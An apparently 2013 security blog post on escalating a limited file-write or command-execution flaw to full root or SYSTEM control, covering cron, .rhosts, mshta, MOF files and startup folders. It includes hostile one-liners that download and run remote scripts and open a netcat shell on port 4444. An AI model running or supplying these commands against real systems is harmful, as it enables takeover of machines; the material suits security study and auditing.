Owning Unix and Windows systems with a (somewhat) limited vulnerability

2013, Jul 09    

Auditing a product recently I noticed a curious scenario where I control the following:

• Unix based: The limited vulnerability allows one to create any file as root controlling the contents of that file. I can even overwrite existing files.
• Windows based: The vulnerability allows one to execute an operating system command but doesn’t allow, for some reason, copying files as the Unix vulnerability allows.

In the next paragraphs I will explain how one could exploit such somewhat limited scope vulnerabilities in order to execute remote arbitrary code in the context of the running application (root under Unix and SYSTEM under Windows). In any case, I’ll also explain the opposite case: one can execute an arbitrary operating system command in Unix based systems but can’t create an arbitrary file in the system and one can create an arbitrary file anywhere in the system in Windows operating systems but cannot execute an arbitrary command.

Unix based systems: one can create a (text) file with controlled contents any where as root

Under a Unix based system, like Linux, it’s trivial to execute arbitrary code when one can create a file as root any where. I’m listing here some of the most trivial examples that comes to mind. The list is not extensive because I think it’s really hard to create a complete list for Unix based systems.

Cron

Create a file in /etc/cron.hourly (or /etc/cron.daily) and wait for, at most, 1 hour. That’s all. One could also, directly, overwrite /etc/crontab (by using a default version for the target operating system, if that information is known). This is the easiest example that comes to mind and the most quick method for executing code as an attacker doesn’t need to wait 1 hour, like with the previous example, because, extracted from the cron manpage:

…cron will then examine the modification time on all crontabs and reload those which have changed. Thus cron need not be restarted whenever a crontab file is modified.

Rhosts

For some old Unix systems an attacker can create a .rhosts file in / or any user’s $HOME directory with the content “+ +”. This command would allow to remotely logging from any host to connect via rlogin to the target machine. It would work, for example, in default installations of AIX (even 6.1).

Default scripts

In all Unix based operating systems there are plenty of shell scripts. As with this “limited” vulnerability it’s possible to create a file anywhere with fully controlled contents and it allows even overwriting existing files, another pretty easy way that comes to mind to take control of an affected machine is to take a default script from the target operating system, modify it and overwrite that file. Examples of such files can be System V init scripts, common cron scripts, specific shell scripts (like /etc/bashrc or /etc/profile), etc… The list of possible target files is really long enough not to continue listing more.

Unix based systems: one can execute an arbitrary operating system command as root

xterm

With an Unix based operating system, if we can execute just one command as root it’s over without the need to do many things. The easiest and most typical command:

$ xterm –display attackers_machine:0

…after executing “xhost +” or “xhost ip” in the attackers machine. This will pop-up a xterm (a program quite typically installed in almost all Unix based operating systems) in the attackers machine with root privileges in the target machine. Game over.

wget and curl

Although not always installed in non BSD and Linux operating systems, this is another typical way of exploiting such a vulnerability: we can download a script and execute as much operating system commands as we want. But we many need to execute 2 commands (i.e., it may require 2 shoots) if the vulnerable target applications doesn’t allow to use operators like “

” or “&&” (like in my case). With just one command, supposing we can use some operators one could execute one the following commands:

$ wget http://url -o something.sh && sh something.sh

$ wget http://url -O –

sh -c

$ wget http://url_with_an_elf -o elf_file && chmod u+x elf_file && ./elf_file

$ curl http://url

sh -c

$ wget http://url/netcat -o nc && ./nc -l -p 4444 -e /bin/sh

Windows based systems: one can execute an arbitrary operating system command as SYSTEM

In Windows we do not (typically) have the utilities curl or wget and there is nothing that mimics such applications, as far as I know. However, there is a tool that can execute remote arbitrary code with some limitations: mshta. This tool called “Microsoft HTML Application Host” is a tool that allows to create HTML+JavaScript/VBScript applications with privileges to execute operating system commands, creating and writing files, etc… It can execute not only local applications but also remote arbitrary applications with such privileges. Extracted from here:

As fully trusted applications, HTAs carry out actions that Internet Explorer would never permit in a webpage. The result is an application that runs seamlessly, without interruption.

In HTAs, the restrictions against allowing script to manipulate the client machine are lifted. For example, all command codes are supported without scripting limitations (see command id). And HTAs have read/write access to the files and system registry on the client machine.

The trusted status of HTAs also extends to all operations subject to security zone options. In short, zone security is off. Consequently, HTAs run embedded Microsoft ActiveX controls and Java applets irrespective of the zone security setting on the client machine. No warning displays before such objects are run within an HTA. HTAs run outside of the Internet Explorer process, and therefore are not subject to the security restrictions imposed by Protected Mode when run on Windows Vista.

Just what we want. An example command would look like the following:

$ mshta http://remote_url/app.hta

We can, for example, embed a PE (EXE) file in the HTA application with VBScript or JavaScript, decode it, write it to the local system and execute it. We can create such a VBScript file automatically with a tool like EXETOVBS:

One could also use Metasploit as in this exploit. The only problem I see is that the generated VBScript files will be rather big. Another option: download an EXE file from the HTA application and run it. However, with the ways I know to download files (using the ActiveX object Microsoft.XMLHTTP) we may encounter (at least in Windows 7) the following error: “Safety settings on this computer prohibit accessing a data source in another domain”. Even downloading from the same domain: the HTA application uses the security settings from Internet Explorer to download files, although it doesn’t make any sense to me.

My solution to this problem is the following: Embed another VBS or JS script in the HTA application, decode it, save it as a local file and execute it. As we aren’t running code any more in MSHTA (the application forbidding us to download remote files) but rather in Windows Script Host we can pretty much do anything we want. The following is the final HTA application that drops one VBS script, executes it and, then, that scripts downloads a PE file and runs it (well, not the complete code as I’m stripping the HTML code; just use the onload event of the body element to call this function and you’re done):

Windows based systems: one can create an arbitrary (text) file with controlled contents any where as system

This is probably the most complex scenario. In Windows there is no crontab neither a directory like /etc/cron.hourly or daily. But there are other approaches we can take in order to own such operating system.

Startup folders

If we can create a file in a user’s startup folder, this file/script will be executed as soon as the user logins. In Windows 7 one could create a file in the directory:

C:\Users\%username%\AppData\Roaming\Microsoft\Window s\Start Menu\Programs\Startup

…if we target a specific user, or in the following directory to affect all users in the system:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

We can use the previous VBS script to download an arbitrary EXE file to the target machine and execute it. However, there is one problem: what if no user logins in days? We need to find other ways…

MOF files

I’ll not extend on this topic too much as it’s very well explained here, I’ll only explain the basics. In a nutshell, a file with the extension .MOF created in the directory %SystemRoot%\System32\wbem\mof\ is automatically compiled and registered in the WMI repository in Windows operating systems <= Vista. A MOF file is a handler of system events that can execute arbitrary code (i.e., VBScript). If we create a .MOF file for handling any event executing the previous .VBS script we will, almost instantly, execute that code.

However, as pointed by Joshua Drake, MOF files are not “automagically” compiled in Vista+. Probably, but I didn’t test it, if uploading binary files is allowed, one could upload an already compiled MOF file. But, I repeat, this is a theoretical probable attack as I have not tested it myself. But, anyway, we have more options to select from (UPDATE: Joshua Drake says it’s possible).

Task Scheduler

This service is the typical Unix cron of Windows. But it isn’t as easy as with /etc/cron.hourly or /etc/cron.daily: placing a file in the corresponding directory doesn’t make it to automatically be executed as this task must be registered in the registry. But what about overwriting files of commonly (default) installed tasks? From the following list there are various that looks very interesting:

GatherWirelessInfo	Wireless	This scheduled task runs the Gatherwirelessinfo.vbs file to collect wireless networking data. This scheduled task collects configuration information and state information about the computer. This information is displayed in a report. This information is included in the system logs. This information also appears in Performance Monitor.
GatherWiredInfo	Wired	This scheduled task runs the Gatherwiredinfo.vbs file to collect wired networking data. This scheduled task collects configuration information and state information about the system. This information appears in a report. This information also appears in the system logs. This information also appears in Performance Monitor.

We have 2 default installed tasks (Wireless and Wired) in Windows Vista that uses 2 VBS scripts (which are text files). So, it’s as easy as grabbing a copy of those files and modifying them to embed our payload (the previous VBS script) and then overwrite one or both of them. That’s all. Nevertheless, it doesn’t work on at least Windows 7 as this task is not there any more.

Conclusion

Although the exploitation techniques explained here are not new I think that such a list can be useful. For example. I was unaware of the .MOF files feature and it could have helped me in the past. Perhaps this list can be of help for somebody else.

PS: If you happen to know another cool technique, please post it in the comments!